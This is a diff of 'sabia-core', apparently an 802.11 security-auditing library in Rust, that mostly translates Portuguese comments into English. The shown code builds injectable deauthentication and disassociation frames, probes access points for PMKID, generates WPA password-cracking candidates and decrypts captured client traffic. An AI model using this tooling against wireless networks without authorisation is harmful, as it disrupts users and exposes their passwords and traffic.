/// Builds a disassociation frame with an explicit transmitter MAC.
pub fn disassoc_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
@@ -69,19 +69,19 @@ pub fn disassoc_frame_from(
mgmt_frame_from(10, transmitter, bssid, destination, reason)
}
/// Quadro de desassociação (subtipo 10).
/// Builds an AP->STA disassociation frame (subtype 10).
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(10, bssid, destination, reason)
}
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
/// Byte offset of the 802.11 Sequence Control field inside a frame built by
/// [`mgmt_frame_from`] (8-byte Radiotap + 22-byte MAC header offset).
const SEQ_CTRL_OFFSET: usize = 30;
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
/// Writes a 12-bit 802.11 sequence number (`0..4096`) into `frame` (with fragment
/// number `0`) so target drivers do not drop repeated frames as duplicates.
///
///
pub fn set_seq(frame: &mut [u8], seq: u16) {
if frame.len() < SEQ_CTRL_OFFSET + 2 {
return;
@@ -99,8 +99,8 @@ fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
out
}
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
/// request no teste de PMKID.
/// Builds an Open System Authentication request frame (algorithm 0, seq 1) used
/// prior to Association Request when probing for clientless PMKID.
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
let mut f = Vec::with_capacity(8 + 24 + 6);
f.extend_from_slice(&radiotap_min());
@@ -110,8 +110,8 @@ pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
f.extend_from_slice(&0u16.to_le_bytes()); // Open System algorithm (0)
f.extend_from_slice(&1u16.to_le_bytes()); // auth sequence (1)
f.extend_from_slice(&0u16.to_le_bytes()); // status
f
}
@@ -119,7 +119,7 @@ pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
let mut val = Vec::new();
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // group cipher suite: CCMP
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
@@ -139,8 +139,8 @@ fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u
ie(48, &val)
}
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
/// Builds an Association Request carrying an RSN IE to elicit EAPOL Message 1
/// (and its optional PMKID) from the target AP.
pub fn assoc_request_frame(
bssid: [u8; 6],
station: [u8; 6],
+4 -4
View File
@@ -1,7 +1,7 @@
//! `sabia-core`: tudo que fala com o rádio Wi-Fi, interpreta quadros 802.11,
//! mantém a trilha de auditoria e quebra handshakes. A CLI e a interface
//! gráfica são só consumidoras disto — a parte complexa (radiotap, 802.11,
//! EAPOL, captura e injeção) fica inteira aqui dentro.
//! `sabia-core`: core 802.11 wireless auditing library (Radiotap/802.11/EAPOL
//! parsers, raw capture and injection, WIDS channel analysis, WPA2/PMKID cracking,
//! WPS, Evil Twin, reporting, and hash-chained audit logging).
//!
pub mod analysis;
pub mod audit;
+11 -11
View File
@@ -1,11 +1,11 @@
//! Controle de modo (managed/monitor), canal e leitura das capacidades do
//! rádio via `iw`.
//! Wireless interface mode control (`managed`/`monitor`), channel switching,
//! and supported channel enumeration via `iw` and `ip`.
//!
//!
//!
//!
//!
//!
//! É uma ponte deliberada: o protocolo real é nl80211 por netlink, e trocar
//! este módulo por uma implementação nativa (sem depender dos binários `iw` e
//! `ip`) é o próximo passo natural. Por ora `iw`/`ip` são universais em
//! Linux, testados, e evitam reimplementar genl/nl80211 antes de validar o
//! pipeline com hardware real.
use crate::error::{Result, SabiaError};
use crate::iface::Mode;
@@ -98,7 +98,7 @@ pub fn phy_for_iface(iface: &str) -> Result<String> {
})
}
/// Lista canais suportados pelo phy da interface.
/// Lists all 802.11 channels supported by the interface's `wiphy`.
pub fn channels(iface: &str) -> Result<Vec<ChannelInfo>> {
let phy = phy_for_iface(iface)?;
let info = run("iw", &["phy", &phy, "info"])?;
@@ -113,7 +113,7 @@ pub fn supported_channels(iface: &str) -> Result<Vec<u32>> {
.collect())
}
/// Canais a percorrer. `band` aceita `"2.4"`, `"5"`, `"6"`, `"all"`/`None`.
/// Filters supported channels by band (`"2.4"`, `"5"`, `"6"`, or `"all"`/`None`).
pub fn channel_plan(iface: &str, band: Option<&str>) -> Result<Vec<u32>> {
let want = match band.map(|b| b.trim().to_ascii_lowercase()) {
None => None,
@@ -159,7 +159,7 @@ pub fn driver_name(iface: &str) -> Option<String> {
.and_then(|p| p.file_name().map(|n| n.to_string_lossy().into_owned()))
}
/// Põe a interface em modo monitor. Requer `CAP_NET_ADMIN` (normalmente root).
/// Toggles monitor or managed mode on `iface` (requires `CAP_NET_ADMIN` / root).
pub fn set_monitor_mode(iface: &str, enable: bool) -> Result<()> {
run("ip", &["link", "set", iface, "down"])?;
let target = if enable { "monitor" } else { "managed" };
@@ -168,7 +168,7 @@ pub fn set_monitor_mode(iface: &str, enable: bool) -> Result<()> {
Ok(())
}
/// Troca o canal atual da interface (precisa já estar em modo monitor).
/// Switches `iface` to `channel` (the interface must already be in monitor mode).
pub fn set_channel(iface: &str, channel: u32) -> Result<()> {
run(
"iw",
+1 -1
View File
@@ -1,4 +1,4 @@
//! Identificação de fabricante pelo prefixo OUI do MAC.
//! IEEE OUI vendor lookup by 3-byte MAC prefix.
const OUIS: &[(&str, &str)] = &[
("00000c", "Cisco"),
+6 -6
View File
@@ -1,6 +1,6 @@
//! Leitor do formato `.pcap` clássico, usado para analisar capturas feitas
//! pelo próprio Sabiá (link-type 127, radiotap) e pelo aircrack-ng/tcpdump
//! (link-type 105, 802.11 cru).
//! Classic libpcap (`.pcap`) reader supporting both `LINKTYPE_IEEE802_11_RADIOTAP` (127)
//! and raw `LINKTYPE_IEEE802_11` (105) captures.
//!
use crate::error::{Result, SabiaError};
use std::fs::File;
@@ -75,7 +75,7 @@ impl PcapReader {
self.linktype
}
/// Próximo quadro; `None` no fim do arquivo.
/// Reads the next frame, returning `Ok(None)` at EOF.
pub fn next_frame(&mut self) -> Result<Option<PcapFrame>> {
let mut rec = [0u8; 16];
match self.input.read_exact(&mut rec) {
@@ -102,8 +102,8 @@ impl PcapReader {
.read_exact(&mut data)
.map_err(|e| SabiaError::InvalidPcap(format!("quadro truncado: {e}")))?;
// Capturas sem radiotap (link-type 105) recebem um cabeçalho mínimo
// para o mesmo pipeline de parsing funcionar.
// Prepend a minimal 8-byte Radiotap header to link-type 105 (raw 802.11)
// frames so the downstream parser receives a uniform format.
if self.linktype == LINKTYPE_IEEE802_11 {
let mut with_radiotap = vec![0u8, 0, 8, 0, 0, 0, 0, 0];
with_radiotap.extend_from_slice(&data);
+6 -6
View File
@@ -1,6 +1,6 @@
//! Escritor de arquivos `.pcap` (formato clássico, link-type 127 =
//! IEEE802_11_RADIOTAP) para exportar capturas — compatível com
//! Wireshark, aircrack-ng e qualquer outra ferramenta do ecossistema.
//! Classic libpcap (`.pcap`) writer (`LINKTYPE_IEEE802_11_RADIOTAP` = 127),
//! compatible with Wireshark, `aircrack-ng`, and `hcxpcapngtool`.
//!
use crate::error::Result;
use std::fs::File;
@@ -18,7 +18,7 @@ impl PcapWriter {
pub fn create(path: impl AsRef<Path>) -> Result<Self> {
let file = File::create(path)?;
let mut out = BufWriter::new(file);
// Cabeçalho global do pcap clássico.
// 24-byte classic libpcap global header.
out.write_all(&0xa1b2c3d4u32.to_le_bytes())?; // magic
out.write_all(&2u16.to_le_bytes())?; // version major
out.write_all(&4u16.to_le_bytes())?; // version minor
@@ -29,7 +29,7 @@ impl PcapWriter {
Ok(Self { out })
}
/// Grava um quadro crú (radiotap + 802.11), com timestamp de agora.
/// Writes a raw Radiotap + 802.11 frame stamped with the current system time.
pub fn write_frame(&mut self, raw: &[u8]) -> Result<()> {
let now = SystemTime::now()
.duration_since(UNIX_EPOCH)
@@ -37,7 +37,7 @@ impl PcapWriter {
self.out.write_all(&(now.as_secs() as u32).to_le_bytes())?;
self.out.write_all(&(now.subsec_micros()).to_le_bytes())?;
self.out.write_all(&(raw.len() as u32).to_le_bytes())?; // caplen
self.out.write_all(&(raw.len() as u32).to_le_bytes())?; // len original
self.out.write_all(&(raw.len() as u32).to_le_bytes())?; // original wire length
self.out.write_all(raw)?;
Ok(())
}
+16 -16
View File
@@ -1,9 +1,9 @@
//! Parser de cabeçalho Radiotap.
//! IEEE 802.11 Radiotap header parser (<https://www.radiotap.org/>).
//!
//! Walks present flags in specification order with proper field alignment to
//! extract channel/frequency and antenna signal strength (dBm).
//!
//!
//! Só extraímos o que o restante do núcleo usa — frequência/canal e força do
//! sinal — mas avançamos pelos campos na ordem da especificação, respeitando
//! alinhamento, para não depender do formato exato que cada driver emite.
//! Especificação: <https://www.radiotap.org/>
#[derive(Debug, Clone, Copy, PartialEq, Eq, serde::Serialize)]
pub enum Band {
@@ -36,7 +36,7 @@ pub struct RadiotapInfo {
pub signal_dbm: Option<i8>,
pub noise_dbm: Option<i8>,
pub header_len: usize,
/// Bitmap "present" da primeira palavra (campos padrão).
/// Standard Radiotap `it_present` bit positions.
pub present: u32,
}
@@ -48,20 +48,20 @@ const BIT_FHSS: u32 = 1 << 4;
const BIT_ANTSIGNAL: u32 = 1 << 5;
const BIT_ANTNOISE: u32 = 1 << 6;
/// Retorna as infos extraídas e quantos bytes o cabeçalho ocupa (para o
/// chamador saber onde o frame 802.11 propriamente começa).
/// Parses the Radiotap header at the start of `buf`, returning `(RadiotapInfo, header_len)`.
///
pub fn parse(buf: &[u8]) -> Option<RadiotapInfo> {
if buf.len() < 8 || buf[0] != 0 {
return None; // version deve ser 0
return None; // Radiotap `it_version` must be 0
}
let header_len = u16::from_le_bytes([buf[2], buf[3]]) as usize;
if header_len < 8 || header_len > buf.len() {
return None;
}
// Pode haver múltiplas palavras de "present" (bit 31 = continua). Só a
// primeira descreve os campos padrão; as seguintes são namespaces de
// extensão que ficam depois dos campos que usamos.
// Advance past any chained `it_present` extension words (bit 31 = more present words).
//
//
let mut present = 0u32;
let mut offset = 4usize;
let mut first = true;
@@ -139,7 +139,7 @@ pub fn freq_to_channel(freq_mhz: u16) -> Option<u32> {
match freq_mhz {
2412..=2472 => Some(((freq_mhz as u32 - 2412) / 5) + 1),
2484 => Some(14),
// 4.9 GHz / segurança pública (canais 182–196).
// 4.9 GHz public safety band (channels 182–196).
4910 => Some(182),
4920 => Some(184),
4940 => Some(188),
@@ -193,13 +193,13 @@ mod tests {
let present: u32 = BIT_TSFT | BIT_FLAGS | BIT_RATE | BIT_CHANNEL | BIT_ANTSIGNAL;
let mut buf = Vec::new();
buf.extend_from_slice(&[0, 0]); // version, pad
buf.extend_from_slice(&0u16.to_le_bytes()); // len (preenchido depois)
buf.extend_from_slice(&0u16.to_le_bytes()); // header length (backfilled below)
buf.extend_from_slice(&present.to_le_bytes());
// present termina em 8; TSFT alinhado em 8
// `it_present` ends at offset 8; TSFT is 8-byte aligned
buf.extend_from_slice(&0x1122_3344_5566_7788u64.to_le_bytes());
buf.push(0x10); // flags
buf.push(0x02); // rate 1 Mb/s
// channel alinhado em 2 (cursor 18 já é par)
// Channel field is 2-byte aligned (offset 18)
buf.extend_from_slice(&freq.to_le_bytes());
buf.extend_from_slice(&0xa0u16.to_le_bytes());
buf.push(signal as u8);
+12 -12
View File
@@ -1,9 +1,9 @@
//! Relatório de auditoria em HTML paginado com Paged.js.
//! Paginated HTML/PDF wireless security audit report generator (powered by Paged.js).
//!
//! Shared between the live in-app report preview and standalone offline HTML export.
//!
//!
//!
//! O mesmo modelo alimenta a pré-visualização na interface e o arquivo
//! standalone. A paginação é feita no navegador (A4, margens, cabeçalho e
//! rodapé), então o PDF sai pelo diálogo de impressão sem depender de
//! Chromium no servidor.
use crate::analysis::Analysis;
use crate::audit::AuditEntry;
@@ -28,8 +28,8 @@ pub struct ReportModel {
#[derive(Debug, Clone, Copy, Default)]
pub struct ReportOptions {
/// Troca o `<script src>` por um marcador para o servidor embutir o
/// polyfill e gerar um HTML que funciona offline.
/// Placeholder replaced with the inline `paged.polyfill.min.js` script in
/// standalone offline HTML exports.
pub inline_pagedjs: bool,
}
@@ -37,11 +37,11 @@ const PAGED_MARKER: &str = "<!--SABIA_PAGEDJS-->";
const LOGO_PNG: &[u8] = include_bytes!("../../../logo.png");
const B64: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// Embute o logo como `data:` URI — sem isso o relatório standalone (modo
/// offline, pensado pra abrir sem servidor nenhum) teria um `<img
/// src="/logo.png">` que nunca resolve fora do `sabia ui`. Pequeno o
/// bastante (poucos KB) pra não valer a pena puxar uma crate de base64 só
/// por isso.
/// Encodes the Sabiá logo as a `data:image/png;base64,...` URI so standalone
/// exported reports render offline without an HTTP server.
///
///
///
fn base64(bytes: &[u8]) -> String {
let mut out = String::with_capacity(bytes.len().div_ceil(3) * 4);
for chunk in bytes.chunks(3) {
+31 -31
View File
@@ -1,14 +1,14 @@
//! Regras de mutação sobre uma palavra do dicionário (estilo hashcat `-r`,
//! bem mais simples) e força bruta por máscara (estilo hashcat `-a 3`).
//! Wordlist mutation rules (lightweight hashcat `-r` style) and mask brute-force
//! generator (hashcat `-a 3` style).
//!
//! Because each WPA-PSK candidate requires 4096 rounds of PBKDF2-HMAC-SHA1,
//! mutation rules focus on high-yield patterns (capitalization, common numeric
//! suffixes, single-character leetspeak) to keep the multiplier bounded.
//!
//!
//! Em quebra de hash normal, regras são "de graça" — um hash SHA256 custa
//! nanossegundos. Aqui não: cada candidato é um PBKDF2-HMAC-SHA1 de 4096
//! iterações, então cada variante multiplica o tempo de verdade. As regras
//! abaixo cobrem os padrões mais comuns (maiúscula inicial, sufixo numérico,
//! leet simples) sem explodir pra centenas de variantes por palavra.
/// Quantas variantes [`expand`] gera por palavra base (pra calcular o
/// multiplicador de tempo antes de rodar).
/// Upper bound on variants produced by [`expand`] per base word.
///
pub const VARIANTS_PER_WORD: usize = 1 + 1 + 1 + SUFFIXES.len() + LEET_PAIRS.len();
const SUFFIXES: &[&str] = &[
@@ -16,12 +16,12 @@ const SUFFIXES: &[&str] = &[
"@", "#",
];
/// (char original, substituto) — leet simples, uma troca por vez, não
/// combinada, senão a combinatória explode rápido demais.
/// `(source_char, leet_replacement)` single-substitution pairs.
///
const LEET_PAIRS: &[(char, char)] = &[('a', '@'), ('e', '3'), ('i', '1'), ('o', '0'), ('s', '$')];
/// Gera as variantes de `word` (incluindo a palavra original) que respeitam
/// o comprimento válido de WPA (8–63), sem duplicatas.
/// Generates deduplicated WPA-valid (8–63 char) mutations of `word` (including `word` itself).
///
pub fn expand(word: &str) -> Vec<String> {
let mut out = Vec::with_capacity(VARIANTS_PER_WORD);
let mut push = |s: String| {
@@ -52,9 +52,9 @@ pub fn expand(word: &str) -> Vec<String> {
out
}
/// Classe de caractere de um token `?x` de máscara (sintaxe hashcat: `?d`
/// dígito, `?l` minúscula, `?u` maiúscula, `?s` símbolo comum, `?a` os
/// quatro juntos). `??` escapa um `?` literal.
/// Character class for a mask token (`?d` digits, `?l` lowercase, `?u` uppercase,
/// `?s` symbols, `?a` all printable ASCII, `??` literal `?`).
///
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum CharClass {
Digit,
@@ -83,17 +83,17 @@ impl CharClass {
}
}
/// Máscara compilada: uma lista de alfabetos, um por posição. Gera
/// candidatos por índice (contagem em base mista) sem materializar a lista
/// inteira — essencial, já que `?d?d?d?d?d?d?d?d` sozinho são 100 milhões.
/// Compiled brute-force mask (one alphabet per character position), supporting
/// O(1) mixed-radix candidate generation by index.
///
#[derive(Debug, Clone)]
pub struct Mask {
alphabets: Vec<Vec<char>>,
}
impl Mask {
/// Compila uma máscara tipo `wifi?d?d?d?d` (literal "wifi" + 4 dígitos).
/// `??` é um `?` literal; `?` seguido de letra desconhecida é erro.
/// Compiles a hashcat-style mask pattern such as `"wifi?d?d?d?d"`.
/// `??` escapes a literal `?`; unknown `?x` tokens return an error.
pub fn parse(pattern: &str) -> Result<Self, String> {
let mut alphabets = Vec::new();
let mut chars = pattern.chars().peekable();
@@ -123,8 +123,8 @@ impl Mask {
Ok(Self { alphabets })
}
/// Total de candidatos. `None` se não couber num `u64` (máscara longa
/// demais pra ser levada a sério de qualquer forma).
/// Total keyspace size, or `None` if it overflows `u64`.
///
pub fn total(&self) -> Option<u64> {
self.alphabets
.iter()
@@ -139,9 +139,9 @@ impl Mask {
self.alphabets.is_empty()
}
/// Candidato de índice `index` (contagem em base mista, como um
/// odômetro: a última posição gira mais rápido). `None` se `index` >=
/// `total()`.
/// Materializes the candidate at `index` (mixed-radix odometer order), or
/// `None` if `index >= total()`.
///
pub fn candidate(&self, mut index: u64) -> Option<String> {
let total = self.total()?;
if index >= total {
@@ -165,8 +165,8 @@ mod tests {
#[test]
fn expand_respects_min_length() {
let variants = expand("senha");
// "senha" tem 5 chars; sozinha não é candidata WPA válida (precisa
// de 8+), mas com sufixo (ex.: "senha123", 8) sim.
// `"senha"` is 5 chars (too short for WPA alone), but `"senha123"` (8 chars) is kept.
//
assert!(!variants.iter().any(|v| v == "senha"));
assert!(variants.contains(&"senha123".to_string()));
}
@@ -183,7 +183,7 @@ mod tests {
assert!(variants.contains(&"Abacaxi1".to_string()));
assert!(variants.contains(&"ABACAXI1".to_string()));
assert!(variants.contains(&"abacaxi1123".to_string()));
// leet troca TODAS as ocorrências de 'a': as três em "abacaxi1".
// Leetspeak substitution replaces all occurrences of `'a'` in `"abacaxi1"`.
assert!(variants.contains(&"@b@c@xi1".to_string()));
}
@@ -208,8 +208,8 @@ mod tests {
#[test]
fn mask_literal_question_mark_and_unknown_class() {
// "??" vira um '?' literal; os dois primeiros chars são consumidos
// juntos, então "???d" é: '?' literal + "?d" (classe dígito).
// `"??"` escapes a literal `'?'`, so `"???d"` parses as literal `'?'` + `?d`.
//
assert_eq!(
Mask::parse("???d").unwrap().candidate(0).as_deref(),
Some("?0")
+29 -29
View File
@@ -1,5 +1,5 @@
//! Agregação de quadros capturados em tabelas de redes, clientes e
//! handshakes — o coração do que a CLI e a interface mostram.
//! Aggregates captured 802.11 frames into access point, client station, and
//! handshake tables.
use crate::dot11::{self, FrameKind, Security};
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
@@ -59,7 +59,7 @@ pub struct ClientEvent {
#[derive(Debug, Clone, serde::Serialize)]
pub struct Client {
pub mac: String,
/// Nome curto para exibir: hostname, nome WPS, modelo ou fabricante.
/// Best human-readable label for a station: DHCP/mDNS hostname, WPS device name, model, or OUI vendor.
pub display_name: Option<String>,
pub vendor: Option<String>,
pub manufacturer: Option<String>,
@@ -78,10 +78,10 @@ pub struct Client {
pub associated: bool,
pub first_seen_unix: u64,
pub last_seen_unix: u64,
/// Amostras de sinal (mais antiga primeiro), limitadas para não crescer
/// sem fim numa captura longa.
/// Recent RSSI history (oldest first, bounded ring) for sparkline rendering.
///
pub signal_history: Vec<SignalSample>,
/// Linha do tempo curta: primeiro visto, probe, associação, desautenticação.
/// Per-client event timeline (first seen, probe, association, deauthentication, etc.).
pub events: Vec<ClientEvent>,
}
@@ -102,15 +102,15 @@ pub struct ScanSnapshot {
pub clients: Vec<Client>,
pub handshakes: Vec<HandshakeInfo>,
pub analysis: crate::analysis::Analysis,
/// Preenchido quando a captura morreu sozinha (erro de I/O, adaptador
/// caiu da USB, etc.) — `running` já vem `false` nesse caso, mas sem
/// isso a UI não tinha como dizer *por quê* parou.
/// Populated when the capture loop terminated due to an I/O error (e.g. unplugged
/// USB adapter).
///
pub error: Option<String>,
/// Preenchido quando a captura está rodando mas não recebeu nenhum
/// quadro depois de um tempo razoável saltando canais — sintoma de uma
/// placa que aceita ativar o modo monitor (o netlink não recusa) mas não
/// entrega quadro nenhum de verdade. Comum em placas Wi-Fi internas de
/// notebook; diferente de `error`, a sessão continua `running`.
/// Populated when capture has been running for >12s across channels with zero
/// received frames (typical of drivers/firmware that silently ignore monitor mode).
///
///
///
pub warning: Option<String>,
}
@@ -140,8 +140,8 @@ impl ScanTable {
Self::default()
}
/// Processa um quadro radiotap+802.11 crú. Retorna `true` se o quadro
/// continha EAPOL (mantido para chamadores antigos).
/// Ingests a raw Radiotap + 802.11 frame. Returns `true` if the frame carried
/// an EAPOL handshake message.
pub fn ingest(&mut self, raw: &[u8]) -> bool {
let now = unix_now();
self.ingest_at(raw, now).eapol
@@ -317,9 +317,9 @@ impl ScanTable {
};
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
if client != bssid {
// Calculado antes do touch_client: a TK vem de self.handshakes, e
// o borrow checker não deixa consultar isso com `c` (borrow de
// self.clients) vivo ao mesmo tempo.
// Look up any derived CCMP Temporal Key (TK) before borrowing `self.clients`.
//
//
let tk = (frame.protected && frame.to_ds && !frame.from_ds)
.then(|| self.handshakes.tk_for(&bssid, &client))
.flatten();
@@ -327,9 +327,9 @@ impl ScanTable {
c.packets += 1;
if frame.to_ds && !frame.from_ds {
if frame.protected {
// Só decifra se já quebramos a senha e vimos o handshake
// DESSE cliente — a PTK é por associação, então a senha da
// rede sozinha não abre tráfego de quem não foi capturado.
// Decrypt CCMP data frames when we have derived this station's association TK.
//
//
if let Some(plain) = tk.and_then(|tk| frame.ccmp_payload(&tk)) {
let payload = dot11::payload_info_from_llc(&plain);
apply_payload_identity(c, &payload);
@@ -339,9 +339,9 @@ impl ScanTable {
apply_payload_identity(c, &payload);
}
}
// Sempre recalcula o nome de exibição, mesmo em quadros AP→estação
// (downlink): sem isso, um cliente só visto recebendo dados nunca
// ganhava o fallback para o fabricante (OUI), ficando só com o MAC.
// Refresh `display_name` on both uplink and downlink frames so OUI vendor
// fallback is populated even for receive-only stations.
//
refresh_identity(c);
let was = c.associated;
c.bssid = Some(bssid.clone());
@@ -462,9 +462,9 @@ impl ScanTable {
}
}
}
// Já dá o fallback pro fabricante (OUI) desde o primeiro avistamento,
// antes de qualquer quadro de gerenciamento/dados chegar a chamar
// refresh_identity de novo.
// Populate `display_name` from the OUI vendor immediately on first sighting.
//
//
if c.display_name.is_none() {
refresh_identity(c);
}
@@ -507,7 +507,7 @@ impl ScanTable {
self.handshakes.get(bssid, station)
}
/// Handshakes completos (com quadros crus) para exportação.
/// Returns all tracked handshakes (including raw frames for `.pcap`/`.hc22000` export).
pub fn handshake_entries(&self) -> Vec<Handshake> {
self.handshakes.all().into_iter().cloned().collect()
}
+8 -8
View File
@@ -1,5 +1,5 @@
//! Helpers de teste: quadros 802.11/EAPOL sintéticos, radiotap e handshakes
//! válidos gerados a partir de uma senha conhecida. Só existe em `cfg(test)`.
//! Unit-test helpers: synthetic Radiotap/802.11/EAPOL frame builders and
//! valid 4-way handshake generators for a known passphrase (`#[cfg(test)]`).
use crate::crack::{compute_mic, compute_pmkid, compute_ptk, derive_pmk};
use crate::dot11;
@@ -46,11 +46,11 @@ pub fn frame_with_eapol(
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
if from_ap {
f.extend_from_slice(&sta); // addr1 = destino
f.extend_from_slice(&sta); // addr1 = destination
f.extend_from_slice(&ap); // addr2 = BSSID
} else {
f.extend_from_slice(&ap); // addr1 = BSSID
f.extend_from_slice(&sta); // addr2 = origem
f.extend_from_slice(&sta); // addr2 = source
}
f.extend_from_slice(&da);
f.extend_from_slice(&[0u8; 2]);
@@ -148,7 +148,7 @@ pub fn data_frame(
f
}
/// Gera (msg1, msg2) válidas para a senha informada, com MIC correto.
/// Generates a valid `(msg1, msg2)` EAPOL-Key pair with a verified MIC for `passphrase`.
pub fn handshake_frames(
ssid: &str,
password: &str,
@@ -172,8 +172,8 @@ pub fn handshake_frames(
(m1, m2)
}
/// Monta um `Handshake` diretamente dos quadros EAPOL, para testes de quebra
/// sem depender do pipeline de captura.
/// Assembles a `Handshake` directly from synthetic EAPOL frames for cracking tests.
///
pub fn synthetic_handshake(
ssid: &str,
bssid: &str,
@@ -207,7 +207,7 @@ pub fn synthetic_handshake(
password: None,
tk: None,
};
// Exercita o parser de MAC do alvo.
// Exercises MAC address parsing.
assert!(dot11::parse_mac(&hs.bssid).is_some());
assert!(dot11::parse_mac(&hs.station).is_some());
hs
+28 -28
View File
@@ -1,9 +1,9 @@
//! Auto-atualização simples: verifica a última release no Gitea, baixa o
//! binário certo para a plataforma atual, confere o checksum e troca o
//! executável em uso — sem o usuário precisar baixar nada manualmente.
//! CLI self-updater: queries the latest Gitea Release, downloads the matching
//! platform archive, verifies its SHA-256 checksum, and atomically replaces the
//! running `sabia` binary.
//!
//! Usa `curl` (quase universal em Linux/macOS) em vez de trazer uma stack
//! HTTP/TLS inteira como dependência só para isso.
//! Uses the system `curl` and `tar` binaries to avoid pulling a full TLS stack
//! into `sabia-core`.
use crate::error::{Result, SabiaError};
use serde::Deserialize;
@@ -12,12 +12,12 @@ use std::fs;
use std::path::PathBuf;
use std::process::Command;
/// A API do Gitea devolve o mesmo formato de `releases/latest` que o GitHub devolvia
/// (`tag_name`, `assets[].name`, `assets[].browser_download_url`).
/// Gitea `releases/latest` API endpoint (`tag_name`, `assets[].name`, `assets[].browser_download_url`).
///
const LATEST_RELEASE_URL: &str =
"https://git.lucasrguerra.dev.br/api/v1/repos/lucasrguerra/sabia/releases/latest";
/// Página de downloads, para quem usa o app desktop.
/// Human-facing Gitea Releases page for desktop GUI users.
const RELEASES_PAGE_URL: &str = "https://git.lucasrguerra.dev.br/lucasrguerra/sabia/releases";
#[derive(Debug, Deserialize)]
@@ -75,9 +75,9 @@ fn curl_download(url: &str, dest: &PathBuf) -> Result<()> {
Ok(())
}
/// Sufixo que identifica o pacote certo entre os assets da release — o
/// nome completo inclui a tag (ex.: `sabia-v0.1.0-linux-x86_64.tar.gz`),
/// então casamos pelo fim em vez do nome inteiro.
/// Returns the expected release asset suffix for the current OS/architecture
/// (e.g. `"-linux-x86_64.tar.gz"`).
///
fn asset_suffix_for_platform() -> String {
let os = if cfg!(target_os = "linux") {
"linux"
@@ -95,15 +95,15 @@ fn asset_suffix_for_platform() -> String {
format!("-{os}-{arch}.{ext}")
}
/// Consulta a última release publicada e compara com a versão atual
/// (`CARGO_PKG_VERSION` do binário chamador).
/// Queries the latest published release and compares it against the running
/// `CARGO_PKG_VERSION`.
pub fn check(current_version: &str) -> Result<UpdateStatus> {
let url = LATEST_RELEASE_URL;
let body = match curl_text(url) {
Ok(b) => b,
Err(_) => {
// Sem rede, ou repositório ainda sem releases publicadas: não é
// um erro fatal, só significa "sem atualização disponível".
// Offline or no published releases yet: treat as no update available.
//
return Ok(UpdateStatus {
current_version: current_version.to_string(),
latest_version: None,
@@ -121,12 +121,12 @@ pub fn check(current_version: &str) -> Result<UpdateStatus> {
})
}
/// Baixa e aplica a atualização mais recente, substituindo o binário atual.
/// Retorna a versão instalada.
/// Downloads, verifies, and installs the latest CLI release in place.
/// Returns the newly installed version string.
pub fn apply(current_exe: &PathBuf) -> Result<String> {
// O pacote da release contém o CLI (`sabia`). Trocar por ele um executável que
// não seja o CLI, como o `sabia-gui`, o deixaria como um CLI e quebraria o app
// na próxima abertura. O app desktop se atualiza baixando o instalador.
// Guard against replacing `sabia-gui` with the CLI binary (`sabia`);
// desktop GUI updates use the Tauri updater / installer instead.
//
let is_cli = current_exe
.file_stem()
.map(|stem| stem == "sabia")
@@ -183,10 +183,10 @@ pub fn apply(current_exe: &PathBuf) -> Result<String> {
}
}
// Extrai o pacote (tar.gz no Linux/macOS, zip no Windows — `tar xf` sem
// flag de compressão detecta os dois formatos nos `tar` modernos,
// incluindo o bsdtar que o Windows já traz por padrão) e substitui o
// binário atual atomicamente.
// Extract the archive (`tar xf` auto-detects `.tar.gz` and `.zip` on modern
// libarchive/bsdtar) and atomically replace the current executable.
//
//
let extract_dir = tmp_dir.join("extracted");
let _ = fs::remove_dir_all(&extract_dir);
fs::create_dir_all(&extract_dir)?;
@@ -219,9 +219,9 @@ pub fn apply(current_exe: &PathBuf) -> Result<String> {
Ok(release.tag_name)
}
/// O binário vem dentro de uma subpasta (o CI empacota
/// `sabia-vX.Y.Z-<plataforma>/sabia`), então procura até um nível de
/// profundidade abaixo do diretório extraído.
/// Locates `name` at the archive root or one directory level below
/// (`sabia-vX.Y.Z-<platform>/sabia`).
///
fn find_binary(dir: &PathBuf) -> Result<PathBuf> {
fn is_binary(name: &std::ffi::OsStr) -> bool {
name == "sabia" || name == "sabia.exe"
@@ -252,7 +252,7 @@ mod tests {
#[test]
fn apply_refuses_to_overwrite_the_desktop_app() {
// Falha antes de qualquer acesso à rede: o nome do executável já não é o do CLI.
// Rejects non-CLI binary names before making any network requests.
